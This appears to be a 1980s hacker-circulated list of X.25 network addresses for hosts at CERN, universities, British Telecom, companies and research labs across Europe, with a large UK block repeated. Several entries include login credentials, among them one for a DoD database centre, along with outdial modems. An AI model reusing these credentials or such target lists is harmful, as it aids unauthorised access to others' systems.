A 0228 464 110 115      DATASTAR    Data-Star, Switzerland (Pharmadatenbank ?)
A 0228 468 113 150                  Management Joint Trust
D 0228 468 114 05       CERN        CERN (=CERNXX?)
A 0228 468 114 0505                 CS Group LAVC on node UXCOMS
A 0228 468 114 0510     CER         CERN, Geneva
A 0228 468 114 0510     CERNVAX     CERN X25 Multigate
B 0228 468 114 0510*DLO CERNLO      CERN 300 bps     OUTDIAL (where ???)
B 0228 468 114 0510*DME CERNME      CERN 1200 bps    OUTDIAL (where ???)
B 0228 468 114 0510*DHI             CERN ?
A 0228 468 114 0514                 4.2 BSD UNIX (Mint)
A 0228 468 114 0515                 Cern LS Group LAVC VXGIFT
A 0228 468 114 0520                 Cern
A 0228 468 114 0532                 Cern
A 0228 468 114 0533                 L3 test beam VAX-750 VXC3
A 0228 468 114 0534                 UXINFN
A 0228 468 114 0538                 CS Group LAVC on node UXCOMS
A 0228 468 114 054                  Cern
A 0228 468 114 0545                 Cern
A 0228 468 114 0551                 VXCERN VMS 4.6
A 0228 468 114 0553                 VXCERN VMS 4.6
A 0228 468 114 0556                 VXCERN VMS 4.6
A 0228 468 114 0560                 CERN VXNA31
A 0228 468 114 0561                 CERN VXNA31
A 0228 468 114 0562                 L3 VAX 11/750 VXC3MU
A 0228 468 114 0572                 ISOLDES VAX 11/750
A 0228 468 114 0574                 ? (Operator)
A 0228 468 114 0581                 ?
A 0228 468 114 0583                 %Merit:X.25 (Merit Computer Network, see
                                    appendix)
A 0228 468 114 0584                 Develcon
A 0228 468 114 0587                 ? (Operator)
A 0228 468 114 0588                 ? (Operator)
A 0228 468 114 0589                 ? (Operator)
A 0228 468 114 0592                 Princeton University High Energy Physics
                                    Group Vax 11/750
A 0228 468 114 0593                 University of Michigan Physics Vax 11/750
A 0228 468 114 0596                 N.U. Physics Vax 11/750
A 0228 468 114 0597                 Harvard University High Energy Physics Lab.
                                    Vax 8650
A 0228 468 114 0598                 MIT-LNS*PIERRE
A 0228 468 114 0599                 DoD, Distributed Databases Coordination
                                     Center (JMILLER,X0TF3AP)
D 0228 468 114 18                   BIOGEN (=GODEL?)
A 0228 468 114 23                   EDCHUB::
A 0228 469 110 02                   EPFL (something)
A 0228 469 110 0202                 EPFL HELP
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D 0228 469 110 0203                EPFL DE.VAX
D 0228 469 110 0204                EPFL GC.VAX
A 0228 469 110 0205                EPFL DP.VAX
A 0228 469 110 0206                EPFL ME.VAX
A 0228 469 110 0207                EPFL GR.VAX
A 0228 469 110 0208                EPFL MA.VAX
A 0228 469 110 0209                EPFL DI.VAX
D 0228 469 110 0210                EPFL IMAC.PDP
D 0228 469 110 0211                EPFL CGL.VAX
D 0228 469 110 0212                EPFL DE.MVAX
A 0228 469 110 0213                EPFL CC.VAX
A 0228 469 110 03                  EPFL Cyber 855
Ar0228 469 110 0301                EPFL Cyber
A 0228 475 110 02                  HSG St.Gallen
Ar0228 479 104 00                  Cern
A 0228 479 110 23                  I.P.Sharp (CA)
X 0228 479 110 86                  KOMETH (ETH ZH)
A 0228 479 110 650                 KOMETH (ETH ZH)
I 0228 479 111
A 0228 479 111 06                  GRS
I 0228 479 111 086
I 0228 479 111 11
I 0228 479 111 18                  ZEV-Mailbox Zuerich
A 0228 479 111 750                 ComNet (R-Nua)
A 0228 479 311 49                  KOMETH Output (ETH ZH)
A 0228 499 111 02001               KOMETH (Entry Uni)
  0228 9                           Radio-Suisse
  0232                  A          Austria
  0232 2                           Datex-P
O 0232 242 210 91
? 0232 242 211 42*DMAI             Sysnet Wien (Gast,Gast)
A 0232 252 310 000                 Uni Wien
  0232 9                           Radio Austri
A 0232 911 602 323                 Inpadoc
  0234                  GB         United Kingdom
  0234 1                IPSS       IPSS UK network
A 0234 110 020 02018               BT DIALCOM GROUP (PRESTEL ?)
  0234 2                           PSS
  0234 198 061 60                  Queen Marry C.
B 0234 207 920 002                 SWVA
  0234 211 920 100515              Hostess Doc.
  0234 212                         Dialnet
O 0234 212 080 105
I 0234 212 080 110      EPSONUK    Epson (UK)
A 0234 212 300 120      DIALNET    IGS Leased line to DIALOG in US
A 0234 212 300 12011    DIALNET    LRS-DIALOG 2   Dialog via London
Ar0234 212 300 12013    DIALMRC    LRS-Dialmail   (Reverse Charging)
A 0234 212 300 120*D@   DIALNET    IGS Leased line to DIALOG in US
A 0234 212 300 2920                GeoNet GEO2
B 0234 212 301 161                 OPTEL
  0234 212 301 186                 GEOSYSTEMS
  0234 212 301 187                 CAP GROUP LTD.
  0234 212 301 18722    CAP        CAP Industry Ltd.
  0234 212 301 281                 ONE TO ONE COMMS
O 0234 212 302 02192    PSSCLK     PSS Clock
B 0234 212 399 12013    DIALMAL    Dialmail via London
A 0234 212 900 115      STL        STL : ACER (BSD UNIX 4.2)
  0234 213 000 11
  0234 213 000 151      COMPUTAS   Computas Ltd
  0234 213 000 1511                COMPUTAS LTD.
D 0234 213 900 10150   ALVEY      Alvey Mail and FTP.
  0234 214 200 162      GLAXO      Galaxo Industries
  0234 214 400 12                  CONTROL DATA LTD.
  0234 215 000 11600    C3
  0234 215 710 104                 Consultans Ltd
  0234 216 700 127      PFIZER     Pfizer, SANDWICH
  0234 216 700 12701    PFIZER1    Pfizer, SANDWICH
  0234 216 700 12702    PFIZER2    Pfizer, SANDWICH
  0234 216 700 12703    PFIZER3    Pfizer, SANDWICH
  0234 216 700 12704    PFIZER4    Pfizer, SANDWICH
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  0234 216 700 12706    PFIZER6    Pfizer, SANDWICH
  0234 218 801 00300               British Telecom Hotline
  0234 2                           PSS
  0234 198 061 60                  Queen Marry C.
B 0234 207 920 002                 SWVA
  0234 211 920 100515              Hostess Doc.
  0234 212                         Dialnet
O 0234 212 080 105
I 0234 212 080 110      EPSONUK    Epson (UK)
A 0234 212 300 120      DIALNET    IGS Leased line to DIALOG in US
A 0234 212 300 12011    DIALNET    LRS-DIALOG 2   Dialog via London
Ar0234 212 300 12013    DIALMRC    LRS-Dialmail   (Reverse Charging)
A 0234 212 300 120*D@   DIALNET    IGS Leased line to DIALOG in US
A 0234 212 300 2920              GeoNet GEO2
B 0234 212 301 161               OPTEL
  0234 212 301 186               GEOSYSTEMS
  0234 212 301 187               CAP GROUP LTD.
  0234 212 301 18722    CAP        CAP Industry Ltd.
  0234 212 301 281               ONE TO ONE COMMS
O 0234 212 302 02192    PSSCLK     PSS Clock
B 0234 212 399 12013    DIALMAL    Dialmail via London
A 0234 212 900 115      STL        STL : ACER (BSD UNIX 4.2)
  0234 213 000 11
  0234 213 000 151      COMPUTAS   Computas Ltd
  0234 213 000 1511              COMPUTAS LTD.
D 0234 213 900 10150   ALVEY      Alvey Mail and FTP.
  0234 214 200 162      GLAXO      Galaxo Industries
  0234 214 400 12                CONTROL DATA LTD.
  0234 215 000 11600    C3
  0234 215 710 104               Consultans Ltd
  0234 216 700 127      PFIZER     Pfizer, SANDWICH
  0234 216 700 12701    PFIZER1    Pfizer, SANDWICH
  0234 216 700 12702    PFIZER2    Pfizer, SANDWICH
  0234 216 700 12703    PFIZER3    Pfizer, SANDWICH
  0234 216 700 12704    PFIZER4    Pfizer, SANDWICH
  0234 216 700 12706    PFIZER6    Pfizer, SANDWICH
  0234 218 801 00300               British Telecom Hotline
  0234 219                         PSS-Network
  0234 219 200 001                 Network Monitoring Centre (NFS)
  0234 219 200 002                 Network Monitoring Centre (NFS)
  0234 219 200 100                 University of London Computing Centre
  0234 219 200 10069    JANETGW    PSS/JANET Gateway (ULCC)
B 0234 219 200 101                 Finsbury Data Service
  0234 219 200 1082              BING COMPUTER SERVICES (EUROPE) LTD.
A 0234 219 200 118      ADPUK      ADP NETWORK SERVICES LTD. (=AUTONET?)
  0234 219 200 118               atomic energy research establishment
  0234 219 200 13370    QTLON      Quantime
A 0234 219 200 146      CEGB       CEGB, Park Street, London
B 0234 219 200 14869    ULCC       Univ. London Computer Centre (=JANET2?)
B 0234 219 200 14918    UCLMVAX    UCL Microvax ARPA Gateway
B 0234 219 200 14970
  0234 219 200 154               UNILEVER COMPUTER SERVICES LTD.
A 0234 219 200 171      LEXIS      LEXIS
A 0234 219 200 190      INFOLINE   PERGAMON INFOLINE LTD. (NFS)
A 0234 219 200 203      IPSH       SHARP, I. P. ASSOCIATES LTD.
A 0234 219 200 220               BRITISH LIBRARY ON-LINE SYSTEM
A 0234 219 200 222      BLAISE     British Library Information System
  0234 219 200 297               RLFE & NOLAN COMPUTER SERVICES PLC
B 0234 219 200 300      UCL        University College London - Computer
  0234 219 200 300      UCLFTP     UCL (FTP)
A 0234 219 200 300      UCLMAIL    UCL (JNT Mail)
  0234 219 200 304               University Computing Company (GB) Ltd.
B 0234 219 200 333      EUCLID     University College London  Computer Centre
  0234 219 200 394      CISI       CISI (=SIANET?;=Computer Services, London?)
  0234 219 200 871               Instrument Rentals (UK) Ltd.
B 0234 219 201 002      POOLE
  0234 219 201 004      BGOLD81    Telecom BT-GOLD System 81
  0234 219 201 00472    BGOLD72    Telecom BT-GOLD System 72
  0234 219 201 00474    BGOLD74    Telecom BT-GOLD System 74
  0234 219 201 00479    BTGOLD     Telecom BT-GOLD System 79
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  0234 219 201 00481    BTGOLDA    Telecom BT-GOLD System 81
  0234 219 201 00482    BTGOLD82   Telecom BT-GOLD System 82
  0234 219 201 00484    BGOLD84    Telecom Gold System 84
  0234 219 201 005      PSSMAIL    PSS TELE-MAIL service
B 0234 219 201 00513    DIANENQ    Euronet DIANE Enquiry Service
                                   (=Echo,Rutherford?)
B 0234 219 201 00513    EUROINFO   Euronet Diane Information Service
                                   (=Echo,Rutherford?)
A 0234 219 201 00515    BTDOC      BT Online Documentation Service
A 0234 219 201 00515    HOSTESS    Hostess system (BT)
  0234 219 201 00530    BAYNARD    BT Protocol Study Centre (NFS)
  0234 219 201 00615    PSSDOC     PSS documentation service/X25 technical
                                   info on line
  0234 219 201 00620    BTBILL     BT Online Billing
  0234 219 201 0100513
  0234 219 201 01013    HOSTESS    Hostess system (BT) (=PSS Switchstream 1 ?)
T 0234 219 201 01030    TSTB       British Telecom
  0234 219 201 025      PRESTEL    BT Prestel Service
  0234 219 201 02517
  0234 219 201 07800
  0234 219 201 15600    ESA1       ESA-IRS via London
  0234 219 201 18       ADPUK      ADP Network Services Ltd
  0234 219 210 050                 BT Mailbox facility (NFS)
  0234 219 511 31       GEC        GEC Computers Borehamwood
  0234 219 511 311      GECB       GEC Computers Ltd. Borehamwood
  0234 219 513 11       GECB       GEC Computers Ltd. Borehamwood
  0234 219 709 111                 Modular Computer Services Ltd. (MODCOMP)
? 0234 219 709 111      NPL1       National Physical Laboratory
  0234 219 709 210      NPL2       National Physical Laboratory, Protocol Std
                                   Group
B 0234 219 806 160      QMC        Queen Mary College London
X 0234 220 200 1070               island-Adventure-Game
X 0234 220 200 10700              island-Adventure-Game
  0234 220 641 141      ESSX       Essex, University of, Computing Service
                                   (2653,2653,Mist)
A 0234 220 641 1411               MUD (Adventure Game), <guest>, <mist> or
                                   <2653,2653>
B 0234 221 222 122      MIDB       MIDNET Gateway at Birmingham (=MIDBHM)
  0234 221 222 223      BIRP       Prime R & D at Birmingham
  0234 221 222 225                 Freight Comp. Services
  0234 222 236 163      CARDF      Cardiff, University College
  0234 222 236 16300    CARDIFF    Univ. Coll. Cardiff Multics
  0234 222 236 236      UWIST      University of Wales
  0234 222 300 16102    ACORN      Acorn Computers
  0234 222 339 399      CAMBRID    Cambridge University (Phoenix)
  0234 222 530 303      SWURCC     South-West Universities
  0234 222 530 30388    SWURCC     South-West Universities Network
  0234 222 530 30398    SWCFTP     SWURCC (FTP)
A 0234 222 715 151      KENT       University of Kent
X 0234 222 715 11                 ? (---,Guest,Friend (call PIP))
  0234 223 440          TI         Texas Instruments Ltd
  0234 223 440 144      BED5       Prime R & D at Bedford (NFS)
  0234 223 440 345      TI         Texas Instruments Ltd
  0234 223 500 10998    HLH        High Level Hardware Ltd.
B 0234 223 519 111      AERE       Atomic Energy Research Establishment at
                                   Harwell
T 0234 223 519 11198    ADA        ADA UK Database
  0234 223 519 119169               JANET
  0234 223 519 191      DLVAFTP    Daresbury SRS VAX (FTP)
A 0234 223 519 191      JANET      Gateway to JANET at Rutherford
  0234 223 519 191      OUCSFTP    OUCS VAX (FTP) - Experimental
  0234 223 519 191      REVSFTP    ROE Starlink VAX (FTP)
  0234 223 519 191      RLDAFTP    Rutherford DCS 11/70 (FTP)
  0234 223 519 191      RLGBFTP    RL GEC (FTP)
  0234 223 519 191      RLIBFTP    RL IBM 370 CMS (FTP)
  0234 223 519 191      RLPCFTP    L Prime C (FTP)
  0234 223 519 191      SERC       Gateway to SERCNET at Rutherford
  0234 223 519 191      SERCENQ    SERCNET Acc & P/word Fac.
  0234 223 519 191      SYPEFTP    Surrey Prime 550 (FTP)
  0234 223 519 191      UEAFTP     East Anglia via SERC (FTP)
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  0234 223 519 191      ZUVSFTP    UCL Starlink VAX (FTP)
A 0234 223 519 19169    SERCNET    R/ford XXX SERCnet g/way
                                   (=DARESBURY,=JANET?)
? 0234 223 519 19169,.10404000     Lancaster Uni
B 0234 223 519 19169,.36           Oxford2
? 0234 223 519 19169,49000001
B 0234 223 519 19169,.50200014     Oxford
B 0234 223 519 19169,.CPVC         Omega VAX
A 0234 223 519 19169,.CPVD         Merlin VAX
B 0234 225 621 126      DECSS      DEC Software Support VAX (=BEANO?)
  0234 227 200 110                 GEAC 8000 ITI
  0234 227 200 112      HPLB       HPLB (Hewlett Packard Labs, Bristol)
  0234 227 230 230      BRST       University of Bristol
  0234 227 230 23000    BRISTOL    University of Bristol
  0234 227 230 231                 DLLON Comp. & Manag. Services Ltd.
  0234 227 230 301                 GAC Computers Ltd.
  0234 227 230 333      AVON       Avon Universities Computer Centre
  0234 227 230 33300    AUCC       Avon Universities Computer Centre
  0234 227 230 33398    AUCCFTP    AUCC (FTP)
B 0234 227 900 102      BLAISE     British Library Information System
  0234 227 900 10400    ESTELLE    STC Estelle
  0234 227 900 14302    ITT        ITT Harlow (=ALCATEL?)
  0234 231 300 101                 PRIME Office, Edinburgh
  0234 231 300 102                 Forestry Commission FTP
  0234 231 300 105      LATTLOG    Lattice Logic LTD
  0234 231 300 107
B 0234 231 354 354      ERCC       Edinburgh Regional Computer Centre
  0234 231 354 35419    BUSHFTP    RCO 2988 (FTP)
B 0234 231 354 35422    ERCC       ERCC - 2980, 2972 (EMAS) (=RCONET?)
  0234 232 500 124      EXIS       EXIS
I 0234 233 458 158      STAND      St. Andrews University VAX
B 0234 233 458 15898    STANFTP    St. Andrews Univ. (FTP)
  0234 234 417 117                 ICL at Bracknell
  0234 227 230 333                 ?
B 0234 239 232 323      EXETER1    Exeter University
  0234 239 232 32304    EXTR       University of Exeter
  0234 241 200 107
  0234 241 260 106      SCRSX      University of Strathcylde PDP-11/44 (RSX)
A 0234 241 260 10604              ? (,5020015,Birch/Bryan)
  0234 241 260 260      GLSG       University of Glasgow (NFS)
B 0234 241 260 26004              Glasgow
  0234 246 200 10243              ICL West Gorton 'B' Service
  0234 246 200 10248              ICL West Gorton 'X' Service
  0234 246 200 10277              ICL West Gorton Perq
  0234 246 240 240      ICLL       ICL at Letchworth (=Kidsgrove?) (NFS)
  0234 247 300 103                MTIER Management Systems Ltd.
  0234 247 300 10300              Bridge, Switch
  0234 247 300 10340              Bridge, (VAX/VMS)
  0234 247 300 10345              Bridge, (MUX(VT100))
  0234 247 300 10346              Bridge
  0234 247 302 022      MHGA       LDC at Martlesham
  0234 248 300 106                DWENT-SDC Search Service
  0234 248 321 321                DWENT-SDC Search Service
B 0234 251 248 248      LIVE       University of Liverpool
  0234 252 724 241      BSL        BL Systems Ltd.
  0234 253 265 165      LEEDS      University of Leeds (NFS)
  0234 253 300 124      CAMTEC     Camtec, Leicester
  0234 253 300 12406    CAMTEC     Camtec, Leicester (hard copy printer)
  0234 258 200 106      ARC        Agricultural Research Council (GEC -
                                   Switch)
  0234 258 200 106      EMALFTP    East Malling (FTP)
  0234 258 200 106      RESFTP     RES (Rothampstead) - FTP
  0234 258 200 10604    AGRIFTP    AGRINET (CPSE) FTP
  0234 258 200 10604    AGRINET    AGRINET Gateway
  0234 258 200 10604    EASTMAL    East Malling
  0234 258 240 242      GECD       GEC Computers Ltd at Dunstable
  0234 258 240 24200    MRCA       GEC - Marconi Research Centre
B 0234 260 227 227      MIDN       MIDNET Gateway at Nottingham (University
                                   Leicester?) (=MIDNOT?)
B 0234 261 456 8383               Microlink
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B 0234 261 600 119                Manchester
  0234 261 600 133                IBM - SALE (also FTP)
B 0234 261 600 152      UMDAFL    University of Manchester Dataflow VAX
  0234 261 643 143      UMRCC     University of Manchester Regional Computer
                                  Centre
  0234 261 643 14398    UMRFTP    UMRCC (FTP)
  0234 261 643 210      SALF      Salford University
  0234 261 643 21090    SALFORD   Salford -> GANNET
  0234 261 643 21090   NRS       NRS
B 0234 261 643 343      FERRANTI  Feranti Computer Systems
  0234 261 643 365                ICLBRA
  0234 261 643 36543              ICL West Gorton 'B' Service
  0234 261 643 36548              ICL West Gorton 'X' Service
  0234 261 643 36577              ICL West Gorton Perq (also FTP)
  0234 262 500 484                Software Sciences Ltd.
B 0234 262 800 151                CDM/EH (=Maidenhead?)
  0234 262 800 43300
B 0234 263 259 159      NUMAC     University of Newcastle
  0234 264 200 136                Primenet
B 0234 270 500 115                MAXXIM
B 0234 270 500 142                Farenham
T 0234 270 500 15                 Uni Brighton (GUEST,WELCOME)
  0234 270 712 217      HATF      Hatfield Polytechnic
  0234 273 417 171      DEC-RDG   Digital Equipment Ltd Reading
  0234 273 417 217      MODC      Modcomp
  0234 273 417 317      DECR      DEC at Reading
  0234 274 200 103                SHEFFIELD, University of, Dept.of
                                  Electronic & Elec...
  0234 274 200 103*DCODUCODUS     Codus
  0234 274 253 385                DVY Computing Ltd.
  0234 274 317 31
  0234 275 300 102                GIS Ltd.
  0234 275 312 212      BOC       British Oxygen (=The World Reporter??)
  0234 275 312 212      DATASOLVE as above
  0234 275 312 212      EUROLEX   British Oxygen Company
  0234 275 317 173                Lynx Computers Ltd.
  0234 275 317 177                TELEFILE Computer Services Ltd.
  0234 275 317 177      GSI       GSI (NFS)
  0234 278 228 282                ICL Letchworth
  0234 278 228 288                ICL Letchworth
  0234 284 400 108                Culham, (VAX)
  0234 284 400 123      ALVEY     Alvey Electronic Mail
B 0234 289 500 109                UXB
  0234 290 468 168      YORK      York University PSS Gateway
B 0234 290 468 168      YORKFTP   York University (FTP)
  0234 290 468 168                Gateway To DEC-10 At York
  0234 290 468 16804    YORKTS    York TS29 Port
  0234 290 524 242      RSRE      Radio, Space Research Establishment
  0234 290 524 24203    RSREDL    RSRE
  0234 290 524 24204    RSRESNK   RSRE
  0234 290 524 24250   RSREA     Radio, Space Research Establishment for
                                  ALVEY mail
  0234 290 840 111      POLIS     SCION
  0234 290 840 111      SCICON    SCICON, South England
  0234 292 549 149      DL        SERC at Daresbury Laboratory
  0234 293 212 212                DATASOLVE LTD.
  0234 293 212 212      BOC       British Oxygen Company (NFS)
D 0234 293 765          ARTTEL    British Library, Boston Spa
  0234 293 765 265                British Library Lending Divi.
  0234 299 212 221      NOLTON    Nolton Communications Ltd. (NFS)
  0234 3                          Euronet
  0234 307 813          EUROINFO  Euronet Diane Information Service
  0234 8                TELEX     UK Telex network
  0234 892 992 0        DECTELX
I 0235 200 143 00165
  0238                  DK        Denmark
  0238 2                          Datapak
A 0238 241 592 400                Valby I/S Datacentralen
A 0238 241 745 600      RECKU     Univac in Copenhagen University
  0238 241 745 60000              Recku Univac (Enter @@ENQ)
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  0238 241 745 60002    UDIKU
A 0238 242 126 400                  Lyngby DTB; I/S Datacentralen
I 0238 389 3                        Euronet Aarhus
  0240                  S           Sweden
I 0240 181 559 76       LIUIDA S    Linkvping LiUIDA Teletex
  0240 2                            Datapak
A 0240 200 002 05                   Uppsala STUNS VAX/UNIX KULING
I 0240 200 044 4        ENEA        ENEA
A 0240 200 100 110                  Stockholm QZ/DEC-10
A 0240 200 100 120                  Stockholm QZ/CD Cyber 730
O 0240 200 100 203                  Uppsala, UU, Teknikum, NORD 100/500
A 0240 200 100 205                  Uppsala, UU, Stuns, VAX 750
A 0240 200 100 206                  Uppsala, UDAC/DECnet RTR18A
O 0240 200 100 207                  Uppsala, UDAC, Cyber 835
A 0240 200 100 228                  Uppsala, UDAC/UPNET - Terminalnaet
A 0240 200 100 232                  Uppsala, UDAC, IBM/GUTS (BASF 7/68 ?)
O 0240 200 100 28                   Uppsala Upnet
? 0240 200 100 30                   Umeaa VAX-750 Skogsh. Umeaa Univ
A 0240 200 100 303                  Umeaa, UMDAC/BIOVAX
A 0240 200 100 304                  Umeaa, Skogshoegskolan, VAX 750
A 0240 200 100 305                  Umeaa, UMDAC/DECnet RTR09A, (Vax 11/750)
A 0240 200 100 30520                Umeaa, UMDAC/BASUN
A 0240 200 100 30540                Umeaa, UMDAC/UTB1 (Vax 11/780)
A 0240 200 100 30550                Umeaa, UMDAC/UTB2 (Vax 11/750)
A 0240 200 100 30570                Umeaa, UMDAC/OSTVAX (Vax 11/780, Hoegsk i
                                    Oe-sund)
A 0240 200 100 307                  Umeaa, UMDAC/Cyber 850
D 0240 200 100 312                  Luleaa, Tekn hoegsk, NORD 100
D 0240 200 100 313                  Luleaa, Tekn hoegsk, NORD 100
A 0240 200 100 328                  Umeaa, UMDAC/NUNET - Terminalnaet
D 0240 200 100 33                   Umeaa VAX-11/780
A 0240 200 100 403                  Linkoeping, ULi/LIUIDA, uVAX-I
D 0240 200 100 404                  Linkoeping, ULi/PDP 11/23 BULL
A 0240 200 100 405                  Linkoeping, LIDAC, VAX 11/780 VIKTOR
A 0240 200 100 407                  Linkoeping, LIDAC/DECnet RTR13A, uVAX-II
D 0240 200 100 432                  Linkoeping, LIDAC/TEXAS - Terminalnaet
A 0240 200 100 7                    Primenet
A 0240 200 101 903                  Stockholm, SU, Psykologi, Prime 750
A 0240 200 101 904                  Stockholm, QZ IBM (Amdahl)
A 0240 200 101 905                  Stockholm, QZ, NFRVAX
A 0240 200 101 907                  Stockholm, QZ/DECnet RTR08A
A 0240 200 101 914                  Stockholm, SU, Fysik, Vax 780
D 0240 200 101 926                  Stockholm, KTH/KTHNET - Terminalnaet
A 0240 200 101 928                  Stockholm, QZ/QZNET - Terminalnaet
O 0240 200 102 06                   Uppsala UDAC uVAX-II RTR18A
O 0240 200 102 07                   Uppsala CD Cyber 835
A 0240 200 102 7                    Stockholm DEC-10/Janus
A 0240 200 102 71                   Stockholm DEC-10/Janus
A 0240 200 201 603                  Goeteborg, CTH, Infobeh, VAX 750, Unix
D 0240 200 201 604                  Goeteborg, GU, Pedagogiska inst, Prime 550
A 0240 200 201 605                  Goeteborg, GU, Statistiska inst, Prime 550
D 0240 200 201 606                  Goeteborg, CTH, Tillaempad Elektronik, VAX
                                    750
A 0240 200 201 607                  Goeteborg, Tillaempad Elektronik/DECnet
                                    RTR31A (RTR18A ?)
A 0240 200 201 628                  Goeteborg, GD/GUCNET - Terminalnaet
D 0240 200 201 632                  Goeteborg Upnod
A 0240 200 205 4                    SCB
A 0240 200 278 0                    Oerebro, Hoegskolan, Prime
A 0240 200 292 6                    Karlstad, Hoegskolan, VAX 11/780
D 0240 200 310 204                  Lund, Fysikum, NORD 500, Lucas
O 0240 200 310 206                  Lund, Maxlab, NORD 100
A 0240 200 310 207                  Lund, LDC/DECnet RTR46A, uVAX-II
A 0240 200 310 20720                Lund, LDC/GEMINI, Vax 8350
A 0240 200 310 228                  Lund, LDC/LUNET - Terminalnaet
  0240 201 001 30                   Stockholm QZ/Amdahl
  0240 201 002 03                   Uppsala Teknikum Nord 100/500
  0240 5                SWEDEN      Swedish data network (Telepak)
I 0240 500 025 3        QZXB        QZ by yet another route
I 0240 500 025 7                    Stockholm, DEC, VAX
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I 0240 501 50                       Scannet, Goteborg
I 0240 501 51                       Scannet, Helsingfors
I 0240 501 52                       Stockholm KTH/TTDS
I 0240 501 531 0        QZCOM       QZ-COM - Stockholm University DEC-10
I 0240 501 532 0        QZCB        QZ Cyber
I 0240 501 533 0        QZIB        QZ Amdahl
I 0240 501 54           UPPS        Uppsala network, Sweden
I 0240 501 550 3                    Gottenburg, Sweden
I 0240 501 582 8        LUND        Lund University
I 0240 501 60                       Helsinki CP9500 HYLK B7800
I 0240 502 00                       Scannet, Stockholm
I 0240 502 01                       Denmark, Copenhagen Scannet
I 0240 502 02                       Tandem Computers
I 0240 502 032 8        QZXA        QZ Sweden via reverse PAD (=UPNET?)
I 0240 502 032 832                  Oden, Sweden
I 0240 502 033 2        QZDA        QZ DEC-10 Sweden
I 0240 502 04                       Prime Computers
I 0240 502 05                       Vaesteraas PAD ASEA Multics
I 0240 502 52                       KEMIDATA
I 0240 502 53           QZXB        QZ by yet another route
  0240 515 330                      Amdahl
  0242                  N           Norway
  0242 2                NORWAY      Norwegian data network (Datapak/Norpak)
  0242 192 010 1013                 PSS DOC
X 0242 211 000 00107    OSLO        DEC-1099 DEC-net/PSI at Oslo University
D 0242 211 000 001*D02              Oslo univ BRU-nett UNINETT
D 0242 211 000 001*D03  OSLO        DEC-10 at Oslo University
D 0242 211 000 00100                Oslo univ DEC-1099 UNINETT
D 0242 211 000 002                  Oslo Scannet NSI Nord-100
D 0242 211 000 01018    DATAPIN     DATAPAK Info - Norway
B 0242 211 000 074                  Oslo VAX
T 0242 223 000 00151    RBK         Cyber 170 at IFE (Energy Research Centre)
T 0242 223 000 001*D00  RBK         Cyber 170 at IFE, Kjeller RBK UNINETT
D 0242 223 000 002                  Kjeller FFI UNINETT
D 0242 245 000 00101    BERGEN      Univac at Bergen University (UNINETT)
D 0242 245 000 001*D00  BERGEN      Univac at Bergen University
A 0242 245 013 4                    BBB Mailbox (Bergen By Byte)
  0242 253 000 001*D11              Trondheim UNINETT RUNIT UNIVAC
T 0242 253 000 00101    RNI         Univac at Trondheim University
X 0242 253 000 00103                Trondheim RUNIT UNINETT VAX-780 (=PUNIT
                                    (EANNET) ?)
T 0242 253 000 00104                Trondheim NLHT UNINETT VAX-750
  0242 265 000 001*D00              Tromso UNINETT U of Tromso, Cyber 171
  0242 253 000 001*D11  RUNIT       Univac at Trondheim University
  0242 265 000 001*D81              Tromso UNINETT U of Tromso, NORD-10
  0242 265 000 001*D82              Tromso UNINETT U of Tromso, NORD-100
  0242 265 000 001*D83              Tromso UNINETT U of Tromso, NORD-500
  0242 265 000 00101    TROMSOE     Cyber 170 at Tromsoe University (UNINETT)
  0242 265 000 001*D81  TROMSO      ELAN at Tromsoe University
X 0242 265 000 106                  PORTACOM (PORTACOM)
  0244                  SF          Finland
  0244 2                            Datapak (Finpak)
A 0244 202 006                      Economics HP 3000
A 0244 202 007                      University of Helsinki, B7800 (=CANDE ?)
A 0244 202 008                      VTKK (Staten DC) IBM 360
A 0244 202 012                      U o Helsinki Mopo Mikko3
A 0244 203 008          HELVA       High Energy Physics Vax 11/750
A 0244 203 017                      U of Technology DEC-20
D 0244 231 006                      Technical University of Tampere VAX
A 0244 253 001                      Tech U of Lappeenranta VAX/VMS
A 0244 261 001                      U of Vaasa VAX/VMS
A 0244 273 002                      University of Joensuu VAX
D 0248 321 321                      DWENT-SDC Search Service
  0262                  D           Germany
  0262 3                            Euronet
X 0262 307 4                        INFAS
  0262 4                GERMANY     German data network (Datex-P)
I 0262 428 462 10706
I 0262 428 479 11065
D 0262 432 210 43002                Apple
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Ar0262 432 210 93001              Quick-Com
Y 0262 442 010 49132
O 0262 442 110 40325              OKI
Y 0262 442 110 49130              PAD Frankfurt
Y 0262 442 110 49133
Y 0262 442 110 49230
I 0262 442 151 40327              KIS (info)
I 0262 442 210 49331
A 0262 442 210 90371              elma-mailbox (~pim)
Y 0262 442 210 99632
O 0262 442 310 40312              Bibliothek  Chemie
I 0262 442 310 90306              Chemie
I 0262 442 410 40341    RMI       RMI Mailbox Aachen
I 0262 442 433 40307              CMES
O 0262 442 461 40343
Y 0262 443 000 49234
A 0262 443 000 90314              ?
Y 0262 443 000 99131
I 0262 444 000 90314              CCC Hamburg (Clinch), Hackerbox (1 line...)
Y 0262 444 000 90330              Allgemeine Bank der Niederlande
O 0262 444 000 90342              Batig Beteiligungen GmbH
A 0262 444 000 90374              Master Control System (MCS) Hamburg
Y 0262 444 000 99132
Y 0262 444 441 40317              Osnabrueck, Driverstr.24, 2848 Vechta
I 0262 445 110 30317              Metereologie
I 0262 445 110 90323              Bibliothek
I 0262 446 154 40371              DECATES - Oberramstadt
Y 0262 446 210 49330
Y 0262 446 810 49131
Y 0262 446 810 49132
O 0262 446 900 30331              IBD Online Frankfurt a.M.
I 0262 446 900 40318              Chemie
Y 0262 446 900 49231
Y 0262 446 900 49232
I 0262 446 900 90286              RZ
Y 0262 446 900 99133
O 0262 447 071 10303              Organische Chem.
Y 0262 447 110 49134
I 0262 447 114 9236               Emery
I 0262 447 127 90344
Y 0262 447 310 40313              Online-Literaturdok.
A 0262 447 531 40310              Chemie
I 0262 448 136                    Luma Uni
O 0262 448 136 90323              Genesys EDV-Systeme
Y 0262 448 210 49630
A 0262 448 900 30368              Phoenix
Y 0262 448 900 49130
A 0262 448 900 90313              Max Planck Institut
Y 0262 448 900 90341              LMU Bibliothek
Y 0262 448 900 99632
I 0262 449 310 90312              Apel Hans-Joerg
I 0262 452 000 21721              ???
I 0262 450 000 90184
I 0262 451 104 2301
O 0262 452 010 40116              AEG-Telefunken
I 0262 452 010 40179              RZ Uni Essen
I 0262 452 020 40120              Apotheke Dr.Schiemes
I 0262 452 080 40381              DVO Datenverarbeitung
I 0262 452 090 832                ?
I 0262 452 101 30030              3M Mailbox
I 0262 452 101 40030              3M Mailbox
I 0262 452 110 40001              RZU Duesseldorf (ND100)
I 0262 452 110 40005              CIERR 1402
